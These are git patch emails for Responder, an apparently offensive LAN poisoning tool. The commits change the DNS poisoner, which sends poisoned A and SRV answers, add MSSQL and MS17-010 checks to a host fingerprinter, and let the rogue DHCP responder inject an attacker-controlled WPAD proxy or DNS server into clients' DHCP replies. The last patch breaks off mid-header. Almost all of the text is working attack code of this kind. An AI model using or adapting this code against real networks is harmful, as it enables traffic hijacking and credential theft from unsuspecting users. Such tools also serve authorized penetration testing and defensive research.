From 6e2c77168f1082f54ae9ee29fba4ad47924411a7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 17:59:54 -0300 Subject: [PATCH 001/114] Small fix --- tools/RunFinger.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 3c0efc8..63089d6 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -339,15 +339,15 @@ def ConnectAndChoseSMB(host): s.settimeout(Timeout) try: s.connect(host) + h = SMBHeader(cmd="\x72",flag1="\x00") + n = SMBNego(Data = SMB2NegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(4096) except: return False - h = SMBHeader(cmd="\x72",flag1="\x00") - n = SMBNego(Data = SMB2NegoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(NetworkSendBufferPython2or3(buffer0)) - data = s.recv(4096) if ParseNegotiateSMB2Ans(data): try: while True: From 17e62bda1aed4884c1f08e514faba8c1e39b36ad Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 19:56:41 -0300 Subject: [PATCH 002/114] Remove analyze mode on DNS since you need to ARP to get queries --- servers/DNS.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) mode change 100644 => 100755 servers/DNS.py diff --git a/servers/DNS.py b/servers/DNS.py old mode 100644 new mode 100755 index 18a3160..528c078 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -39,14 +39,14 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -65,14 +65,14 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) From 3cd5140c800d8f4e9e8547e4137cafe33fc2f066 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 20:15:17 -0300 Subject: [PATCH 003/114] Fixed the ON/OFF for poisoners when in Analyze mode. --- utils.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/utils.py b/utils.py index 6cae8c4..3646cde 100755 --- a/utils.py +++ b/utils.py @@ -383,9 +383,10 @@ def StartupMessage(): print('') print(color("[+] ", 2, 1) + "Poisoners:") - print(' %-27s' % "LLMNR" + enabled) - print(' %-27s' % "NBT-NS" + enabled) - print(' %-27s' % "DNS/MDNS" + enabled) + print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') From 568048710f0cf5c04c53fd8e026fdd1b3f5c16e6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 Dec 2021 19:57:20 -0300 Subject: [PATCH 004/114] Added a check for MSSQL --- Report.py | 2 +- tools/RunFinger.py | 37 ++++++++++++++++++++++--------------- 2 files changed, 23 insertions(+), 16 deletions(-) diff --git a/Report.py b/Report.py index 6bbfbbe..d5cc054 100755 --- a/Report.py +++ b/Report.py @@ -74,7 +74,7 @@ def GetUniqueDHCP(cursor): def GetRunFinger(cursor): res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)") for row in res.fetchall(): - print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9]))) + print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11]))) def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 63089d6..7a9cd5f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -26,7 +26,7 @@ from odict import OrderedDict from socket import * from odict import OrderedDict -__version__ = "1.7" +__version__ = "1.8" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -44,7 +44,7 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename -SMB1 = "Enabled" +SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" @@ -70,7 +70,7 @@ else: if not os.path.exists(DB): cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)') + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') cursor.commit() cursor.close() @@ -131,17 +131,17 @@ def GetOsBuildNumber(data): return ProductBuild def SaveRunFingerToDb(result): - for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']: + for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']: if not k in result: result[k] = '' cursor = sqlite3.connect(DB) cursor.text_factory = sqlite3.Binary - res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'])) + res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL'])) (count,) = res.fetchone() if not count: - cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'])) + cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL'])) cursor.commit() cursor.close() @@ -160,8 +160,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50]) WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52]) DomainGrab((host, 445)) - RDP = IsRDPOn((host,3389)) - print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1))) + RDP = IsServiceOn((host,3389)) + SQL = IsServiceOn((host,1433)) + print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL))) SaveRunFingerToDb({ 'Protocol': '[SMB2]', 'Host': host, @@ -171,7 +172,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res 'Bootime': Bootime, 'Signing': signing, 'NullSess': 'N/A', - 'IsRDPOn':RDP, + 'IsRDPOn':RDP, + 'SMB1': SMB1, + 'MSSQL': SQL }) def GetBootTime(data): @@ -193,7 +196,7 @@ def IsDCVuln(t, host): Date = datetime.datetime(2017, 3, 14, 0, 30) if t[0] < Date: return("This system may be vulnerable to MS17-010") - return("Last restart: "+t[1]) + return(t[1]) ##################### @@ -253,7 +256,7 @@ def DomainGrab(Host): return GetHostnameAndDomainName(data) except IOError as e: if e.errno == errno.ECONNRESET: - SMB1 = "Disabled" + SMB1 = "False" return False else: return False @@ -392,8 +395,9 @@ def ShowSmallResults(Host): Hostname, DomainJoined = DomainGrab((Host, 445)) Signing, OsVer, LanManClient = SmbFinger((Host, 445)) NullSess = check_smb_null_session((Host, 445)) - RDP = IsRDPOn((Host,3389)) - print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP))) + RDP = IsServiceOn((Host,3389)) + SQL = IsServiceOn((Host,1433)) + print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL))) SaveRunFingerToDb({ 'Protocol': '[SMB1]', 'Host': Host, @@ -403,13 +407,15 @@ def ShowSmallResults(Host): 'Bootime': 'N/A', 'Signing': Signing, 'NullSess': NullSess, - 'IsRDPOn':RDP, + 'IsRDPOn':RDP, + 'SMB1': 'True', + 'MSSQL': SQL }) except: return False -def IsRDPOn(Host): +def IsServiceOn(Host): s = socket(AF_INET, SOCK_STREAM) s.settimeout(Timeout) try: @@ -422,6 +428,7 @@ def IsRDPOn(Host): except Exception as err: return 'False' + def RunFinger(Host): if Filename != None: with open(Filename) as fp: From ba885b9345024809555d1a2c1f8cc463870602bb Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 9 Dec 2021 22:38:44 -0300 Subject: [PATCH 005/114] added the ability to provide external IP on WPAD poison via DHCP --- poisoners/DHCP.py | 2 +- settings.py | 14 ++++++++------ utils.py | 12 ++++++++++++ 3 files changed, 21 insertions(+), 7 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 52c0857..94a18e5 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -79,7 +79,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf')) RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] Interface = settings.Config.Interface -Responder_IP = FindLocalIP(Interface, None) +Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" DNSIP = "0.0.0.0" diff --git a/settings.py b/settings.py index 4dbb031..01a72c6 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.8.0' +__version__ = 'Responder 3.0.9.0' class Settings: @@ -131,11 +131,7 @@ class Settings: self.Verbose = options.Verbose self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) - - if self.ExternalIP: - self.ExternalIPAton = socket.inet_aton(self.ExternalIP) - - self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) if self.Interface == "ALL": self.Bind_To_ALL = True @@ -146,6 +142,12 @@ class Settings: self.IP_aton = socket.inet_aton(self.OURIP) else: self.IP_aton = socket.inet_aton(self.Bind_To) + + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + self.ExternalResponderIP = utils.RespondWithIP() + else: + self.ExternalResponderIP = self.Bind_To self.Os_version = sys.platform diff --git a/utils.py b/utils.py index 3646cde..2da16be 100755 --- a/utils.py +++ b/utils.py @@ -128,6 +128,18 @@ def RespondWithIPAton(): else: return settings.Config.IP_aton.decode('latin-1') +def RespondWithIP(): + if settings.Config.PY2OR3 == "PY2": + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + else: + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": return not IsOsX() From bb17595e3fc9fafa58c8979bebc395ed872ef598 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 10 Dec 2021 21:06:03 -0300 Subject: [PATCH 006/114] Added date and time for each Responder session config log. --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 01a72c6..a720e51 100755 --- a/settings.py +++ b/settings.py @@ -284,7 +284,7 @@ class Settings: RoutingInfo = "Error fetching Routing information:", ex pass - Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) + Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump,str(self)) From a0bf7a9baa762bb1241f8a506a94982589861dd7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 12:26:02 -0300 Subject: [PATCH 007/114] minor display fix. --- Responder.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Responder.py b/Responder.py index 9a82287..884d637 100755 --- a/Responder.py +++ b/Responder.py @@ -241,6 +241,7 @@ def serve_thread_SSL(host, port, handler): def main(): try: + print(color('\n[+]', 2, 1) + " Listening for events...\n") threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners @@ -339,9 +340,6 @@ def main(): thread.setDaemon(True) thread.start() - - print(color('\n[+]', 2, 1) + " Listening for events...\n") - if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) From 505ec3432479aeae239951c74d7f14ad4e7fd3f7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:01:03 -0300 Subject: [PATCH 008/114] Added DHCP DNS vs WPAD srv injection --- Responder.py | 4 +++- poisoners/DHCP.py | 27 ++++++++++++++++----------- settings.py | 1 + 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/Responder.py b/Responder.py index 884d637..6851515 100755 --- a/Responder.py +++ b/Responder.py @@ -34,6 +34,8 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) +parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False) + parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) @@ -345,7 +347,7 @@ def main(): if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP - DHCP() + DHCP(settings.Config.DHCP_WPAD) while True: time.sleep(1) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 94a18e5..bf5e865 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)): sys.exit('This script is meant to be run with Python3') import struct +import random import optparse import configparser import os @@ -82,7 +83,7 @@ Interface = settings.Config.Interface Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" -DNSIP = "0.0.0.0" +DNSIP = RespondWithIP() DNSIP2 = "0.0.0.0" DNSNAME = "lan" WPADSRV = "http://"+Responder_IP+"/wpad.dat" @@ -197,22 +198,26 @@ class DHCPACK(Packet): ("Op6", "\x06"), ("Op6Len", "\x08"), ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), + ("Op252", ""), + ("Op252Len", ""), ("Op252Str", ""), #Wpad Server ("Op255", "\xff"), ("Padding", "\x00"), ]) - def calculate(self): + def calculate(self, DHCP_WPAD): self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV + if DHCP_WPAD: + self.fields["Op252"] = "\xfc" + self.fields["Op252Str"] = WPADSRV + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20)) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): @@ -236,7 +241,7 @@ def FindIP(data): IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]).encode('latin-1') -def ParseDHCPCode(data, ClientIP): +def ParseDHCPCode(data, ClientIP,DHCP_WPAD): global DHCPClient global ROUTERIP PTid = data[4:8] @@ -262,7 +267,7 @@ def ParseDHCPCode(data, ClientIP): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() + Packet.calculate(DHCP_WPAD) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) @@ -281,7 +286,7 @@ def ParseDHCPCode(data, ClientIP): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() + Packet.calculate(DHCP_WPAD) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) @@ -308,7 +313,7 @@ def SendDHCP(packet,Host): s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(NetworkSendBufferPython2or3(packet), Host) -def DHCP(): +def DHCP(DHCP_WPAD): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((Interface, 0x0800)) SendDiscover() @@ -318,6 +323,6 @@ def DHCP(): SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) - ret = ParseDHCPCode(data[0][42:], ClientIP) + ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD) if ret: print(text("[*] [DHCP] %s" % ret)) diff --git a/settings.py b/settings.py index a720e51..fac74f7 100755 --- a/settings.py +++ b/settings.py @@ -132,6 +132,7 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.DHCP_WPAD = options.DHCP_WPAD if self.Interface == "ALL": self.Bind_To_ALL = True From 9dc779869b5a47fdf26cf79a727ea4a853f0d129 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:02:08 -0300 Subject: [PATCH 009/114] Added DHCP DNS vs WPAD srv injection --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index fac74f7..2008b1c 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.9.0' +__version__ = 'Responder 3.1.0.0' class Settings: From 76f6c88df31bbd59dc6dceba1b59251012e45f81 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:55:58 -0300 Subject: [PATCH 010/114] Added DHCP DNS vs DHCP WPAD --- Responder.py | 4 ++-- poisoners/DHCP.py | 26 ++++++++++++++------------ settings.py | 2 +- 3 files changed, 17 insertions(+), 15 deletions(-) diff --git a/Responder.py b/Responder.py index 6851515..b8a819e 100755 --- a/Responder.py +++ b/Responder.py @@ -34,7 +34,7 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) -parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False) +parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) @@ -347,7 +347,7 @@ def main(): if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP - DHCP(settings.Config.DHCP_WPAD) + DHCP(settings.Config.DHCP_DNS) while True: time.sleep(1) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index bf5e865..443f1a3 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -83,7 +83,7 @@ Interface = settings.Config.Interface Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" -DNSIP = RespondWithIP() +DNSIP = "0.0.0.0" DNSIP2 = "0.0.0.0" DNSNAME = "lan" WPADSRV = "http://"+Responder_IP+"/wpad.dat" @@ -205,17 +205,19 @@ class DHCPACK(Packet): ("Padding", "\x00"), ]) - def calculate(self, DHCP_WPAD): + def calculate(self, DHCP_DNS): self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME - if DHCP_WPAD: - self.fields["Op252"] = "\xfc" - self.fields["Op252Str"] = WPADSRV - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + if DHCP_DNS: + self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + else: + self.fields["Op252"] = "\xfc" + self.fields["Op252Str"] = WPADSRV + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20)) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) @@ -241,7 +243,7 @@ def FindIP(data): IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]).encode('latin-1') -def ParseDHCPCode(data, ClientIP,DHCP_WPAD): +def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient global ROUTERIP PTid = data[4:8] @@ -267,7 +269,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate(DHCP_WPAD) + Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) @@ -286,7 +288,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate(DHCP_WPAD) + Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) @@ -313,7 +315,7 @@ def SendDHCP(packet,Host): s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(NetworkSendBufferPython2or3(packet), Host) -def DHCP(DHCP_WPAD): +def DHCP(DHCP_DNS): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((Interface, 0x0800)) SendDiscover() @@ -323,6 +325,6 @@ def DHCP(DHCP_WPAD): SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) - ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD) + ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) if ret: print(text("[*] [DHCP] %s" % ret)) diff --git a/settings.py b/settings.py index 